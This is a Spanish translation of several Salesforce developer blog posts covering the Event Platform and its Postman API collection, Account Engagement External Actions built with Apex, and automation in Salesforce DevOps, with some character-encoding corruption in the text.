En esta publicación, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colección de API de la plataforma de Salesforce en Postman. También aprenderá cómo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicación dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con código personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma estándar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados autom√°ticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio est√° vinculado a un objeto de Salesforce est√°ndar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selección de dos tecnologías de transmisión: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP más moderna . Independientemente de la tecnología o el tipo de evento, publica o se suscribe a eventos a través de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisión. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Después de suscribirse a este canal, recibirá notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma est√°ndar.

Adem√°s de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se envían en un canal personalizado. Por ejemplo, podría crear un canal específico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el país de facturación es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el código del lado del cliente, pero también ayuda a evitar los límites máximos de suscriptores simultáneos .

Los canales personalizados de Change Data Capture también otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimización puede ser problemática en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasarán en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se envían a Amazon EventBridge a través de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS también pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicación de Event Relay para obtener más información.

Antes del lanzamiento de Summer '23, Event Relay solo se pod√≠a configurar a trav√©s de las API. Ahora, hay una interfaz de usuario dedicada en Configuraci√≥n. La √ļnica pieza que a√ļn necesita crear a trav√©s de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colección Postman

En junio, actualizamos la colección de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no está familiarizado con Postman o la colección de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a través de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuración de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creación, lectura, actualización y eliminación (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las √ļnicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo est√° disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicación. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuración de retransmisión de eventos

La carpeta Configuración de retransmisión de eventos es donde se encuentran la mayoría de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuraci√≥n de Event Relay
  • Comentarios de retransmisi√≥n de eventos de consultor√≠a

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son √ļtiles para recuperar los campos de los eventos.

Lo que nos depara la colección Postman

Invertimos continuamente en nuestra colección de API de plataforma y buscamos agregar soporte para la suscripción a eventos de la API Pub Sub. CometD no será compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el a√Īo pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga √ļtil, ya que est√° comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva caracter√≠stica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas √ļtiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripci√≥n general de Event Platform y las √ļltimas incorporaciones a la colecci√≥n de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar r√°pidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, háganoslo saber. También puede echar un vistazo a nuestras otras colecciones de código abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las √ļltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav√©s de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Comenzando con Acciones Externas ‚ėĀÔłŹ

Comenzando con Acciones Externas ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Introducción a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este a√Īo, as√≠ como a trav√©s de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Segu√≠a surgiendo una pregunta: "¬ŅC√≥mo empiezo con las acciones externas?" En esta publicaci√≥n, aprender√° qu√© son las acciones externas, c√≥mo configurarlas y c√≥mo probarlas. Adem√°s, sintonice una pr√≥xima sesi√≥n de codeLive el 20 de julio a las 10 a. m. PT , donde realizar√© una demostraci√≥n de codificaci√≥n en vivo para mostrarle c√≥mo crear una acci√≥n externa y responder sus preguntas.

¬ŅQu√© son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensi√≥n de aplicaci√≥n de marketing. En el momento de escribir este art√≠culo, las actividades externas a√ļn no se pueden empaquetar, pero eventualmente tambi√©n se empaquetar√°n en la extensi√≥n de la aplicaci√≥n de marketing.

Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.

¬ŅCu√°les son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, ¬°dir√≠a absolutamente todo! Puede que est√©s pensando: ‚Äú¬°Claro, todo el mundo dice eso!‚ÄĚ. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustar√≠a que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aqu√≠>", entonces deseaba una acci√≥n externa.

Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.

¬ŅQu√© constituye una acci√≥n externa?

Una acci√≥n externa consta de una acci√≥n invocable de Apex, metadatos de la extensi√≥n de la aplicaci√≥n de marketing, metadatos de una acci√≥n externa y una forma de gestionar la autenticaci√≥n. Los metadatos para las extensiones de la aplicaci√≥n de marketing y las actividades externas conectan la acci√≥n invocable con la participaci√≥n de la cuenta. Los componentes que se usar√°n para la autenticaci√≥n pueden variar seg√ļn el tipo de autenticaci√≥n que admita el servicio. Como OAUTH 2.0 es bastante com√ļn, el componente que uso m√°s es un proveedor de autorizaci√≥n y Credenciales con nombre . Las credenciales con nombre tambi√©n facilitan la administraci√≥n de la autenticaci√≥n en mi c√≥digo, y el sistema hace la mayor parte del trabajo.

¬ŅQu√© habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentación de la API REST

El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementación de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendar√≠a, como m√≠nimo, familiarizarse con la compilaci√≥n y la implementaci√≥n de c√≥digo Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener m√°s informaci√≥n, encontr√© √ļtil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el c√≥digo de la aplicaci√≥n de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.

¬ŅC√≥mo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman tambi√©n proporciona una manera f√°cil de generar ejemplos.
  • CLI de Visual Studio + Salesforce ‚ÄĒ Uso Visual Studio para codificar mi acci√≥n invocable y la implemento en mi organizaci√≥n de desarrollador. La mayor√≠a de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este art√≠culo, solo admitimos paquetes de primera generaci√≥n (1GP) , por lo tanto, no configure su organizaci√≥n de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acci√≥n invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver r√°pidamente el c√≥digo o ver los registros de sus pruebas de flujo de pantalla.

Patrón básico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acción invocable, e InvocableMethod , que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi c√≥digo en dos clases facilita jsonificar la carga √ļtil. Mi clase de entrada contiene todos los campos de variables invocables que la acci√≥n invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construir√° la carga √ļtil a partir de la entrada, la convertir√° a JSON y luego la agregar√° a la solicitud HTTP. A continuaci√≥n, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el m√©todo. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error √ļtil para diagnosticar un problema.

Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi c√≥digo. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigaci√≥n de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integraci√≥n B2BMA, para poder ver mis registros de Apex y diagnosticar el problema m√°s a fondo. Tenga cuidado, podr√≠a terminar con una gran cantidad de datos. El Usuario de Integraci√≥n B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acci√≥n externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acci√≥n externa que result√≥ en una falla. Es √ļtil ver lo que sucedi√≥ durante una ejecuci√≥n de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.

Errores comunes

Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.

Finalmente, si su acci√≥n externa no funciona, pero no ve errores, verifique que la acci√≥n invocable fue dise√Īada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

¬ŅQue estas esperando? ¬°Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.

Entonces, configure su entorno de desarrollador, revise la aplicaci√≥n de referencia y comience a construir su acci√≥n externa hoy. El 20 de julio a las 10 a. m. (hora del Pac√≠fico) , realizaremos una sesi√≥n de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , as√≠ que √ļnase y s√≠ganos mientras construimos una extensi√≥n de la aplicaci√≥n de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente s√©nior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante m√°s de cuatro a√Īos y tiene m√°s de 13 a√Īos de experiencia en gesti√≥n de productos, trabajando principalmente en plataformas que van desde la atribuci√≥n de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qu√© es posible.

Obtenga las √ļltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav√©s de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Automatización y Salesforce DevOps: una receta para el desarrollo acelerado

Automatización y Salesforce DevOps: una receta para el desarrollo acelerado

Última actualización el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatización ha surgido como una solución clave, agilizando los procesos para aumentar la productividad y liberar la innovación. Salesforce no es inmune a estos desafíos y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboración de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatización.

La combinaci√≥n de automatizaci√≥n y Salesforce DevOps cosecha m√ļltiples beneficios: menos errores, preparaci√≥n m√°s r√°pida para el mercado, una canalizaci√≥n de lanzamiento optimizada, menos repeticiones, calidad de c√≥digo superior y mecanismos de retroalimentaci√≥n m√°s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci√≥n en el ecosistema de Salesforce, fomentando un desarrollo √°gil.

Este artículo explora la intersección de la automatización y Salesforce DevOps, los beneficios de su sinergia y formas prácticas de aplicarla para un desarrollo más rápido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este artículo ofrece información para reforzar su enfoque de DevOps de Salesforce con la automatización.

Descripción de DevOps de Salesforce

Antes de profundizar en cómo se cruzan Salesforce DevOps y la automatización, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci√≥n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr√°cticas dise√Īadas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni√≥n de estos principios con las s√≥lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci√≥n m√°s fluidos y r√°pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integración continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acción centrada en el cliente,
  4. Cultura de colaboración.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armonía, lo que lleva a ciclos de desarrollo más cortos, tiempo de comercialización más rápido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desafíos. Si bien es un activo, las características integrales y la capacidad de personalización de Salesforce pueden complicar el proceso de desarrollo e implementación .

Los desafíos difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los más comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c√≥digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c√≥digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aquí es donde la automatización viene al rescate. La automatización, en esencia, es el uso de la tecnología para realizar tareas con una intervención humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desafíos.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c√≥digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c√≥digo en diferentes entornos, lo que reduce los errores de implementaci√≥n. Del mismo modo, la automatizaci√≥n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m√°s valor, como el desarrollo de funciones o el dise√Īo de sistemas.

Además, la automatización fomenta un proceso de desarrollo más ágil, lo que permite actualizaciones periódicas e incrementales en lugar de implementaciones rígidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversión de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatización para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a través de la automatización implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatización adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas áreas con más detalle:

Identificación de tareas manuales y repetitivas

El primer paso hacia la automatización es reconocer qué tareas están ralentizando su velocidad de desarrollo.

Estos típicamente incluyen:

  • Revisiones de c√≥digo,
  • Pruebas,
  • Despliegue,
  • Configuraci√≥n,
  • Migraci√≥n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar dónde la automatización proporcionará el mayor beneficio y tendrá un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementación de herramientas y marcos de automatización

Una vez que haya identificado las áreas que podrían beneficiarse de la automatización, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatización integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m√°s adecuadas para tareas complejas, como Salesforce DX para la gesti√≥n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci√≥n y entrega continuas. Al seleccionar estas herramientas, aseg√ļrese de que se alineen con las habilidades de su equipo y los requisitos espec√≠ficos de su entorno de Salesforce.

Optimización de procesos para mejorar la eficiencia

La automatización no se trata solo de herramientas y tecnología. También se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y áreas de mejora.

Por ejemplo:

  1. ¬ŅC√≥mo se informan y rastrean los errores?
  2. ¬ŅCon qu√© frecuencia se realizan las implementaciones y c√≥mo se programan?
  3. ¬ŅC√≥mo se recopilan los comentarios y c√≥mo se act√ļa en consecuencia?

Simplificar estos procesos puede mejorar drásticamente la eficiencia de su equipo, permitiéndole aprovechar al máximo sus esfuerzos de automatización.

Vale la pena mencionar que los beneficios de la automatización van más allá de acelerar el desarrollo. La automatización también puede mejorar la calidad del código al detectar errores temprano a través de pruebas automatizadas. Puede reducir los errores de implementación al sincronizar el código en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m√°s en el desarrollo de caracter√≠sticas y el dise√Īo del sistema, fomentando as√≠ la innovaci√≥n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas periódicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicación, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatización puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementación de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar drásticamente el proceso de desarrollo, lo que garantiza implementaciones más rápidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opción para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades específicas de su aplicación, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr√°cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr√°cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg√ļrese de probar todas las partes de su aplicaci√≥n. Salesforce requiere una cobertura de c√≥digo m√≠nima del 75 %, pero apuntar a una mayor cobertura puede brindar m√°s confianza en la confiabilidad de la aplicaci√≥n.
  • Cree pruebas repetibles y aut√≥nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci√≥n espec√≠fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci√≥n evolucione, sus pruebas tambi√©n deber√≠an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi√≥n el estado actual de su aplicaci√≥n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci√≥n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci√≥n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci√≥n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci√≥n, explicando lo que se supone que debe hacer una parte del c√≥digo. Aseg√ļrese de que sus pruebas est√©n bien estructuradas y claramente escritas para que sean f√°ciles de entender para los dem√°s.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci√≥n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r√°pidamente.

Integración e implementación continuas con automatización

La integraci√≥n continua y la implementaci√≥n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est√° dise√Īado para reducir errores y acelerar el desarrollo a trav√©s de la integraci√≥n continua de c√≥digo y procesos de implementaci√≥n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona periódicamente los cambios de código en un repositorio compartido, a menudo varias veces al día. Cada integración se verifica automáticamente mediante la creación de la aplicación y la ejecución de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el código existente y no introduzcan errores.

Por otro lado, CD implementa automáticamente esos cambios en la producción, lo que garantiza que las nuevas características, configuraciones y mejoras lleguen a los usuarios finales lo más rápido posible. En Salesforce, CD puede implicar la implementación de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producción.

La automatización es clave para lograr procesos impecables de CI/CD de Salesforce. A través de la automatización, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci√≥n, prueba e implementaci√≥n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatización del proceso de compilación garantiza que los cambios en el código se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo código. La automatización del proceso de implementación ayuda a sincronizar el código y los cambios de configuración en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versión más reciente y precisa de la aplicación.

Control de versiones y automatización de la gestión de cambios

En el desarrollo de Salesforce, el control de versiones y la gestión de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicación.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de código. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el código de varios desarrolladores al mismo tiempo.

La gestión de cambios se refiere a la gestión y el seguimiento de los cambios del sistema, incluidos los cambios de configuración, las modificaciones de código y las implementaciones de nuevas funciones.

La automatización de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integración de código más fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gestión de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisión, mejorando la responsabilidad y facilitando el diagnóstico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gestión de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del código, lo que ayuda a mantener la integridad del código.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementación de cambios en diferentes entornos para la gestión de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera más efectiva y mantener la estabilidad de su aplicación.

Automatización de la supervisión y el tratamiento de errores

En el ámbito vertiginoso del desarrollo de Salesforce, el papel de la automatización se extiende más allá de la creación, prueba e implementación. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicación y corregir rápidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

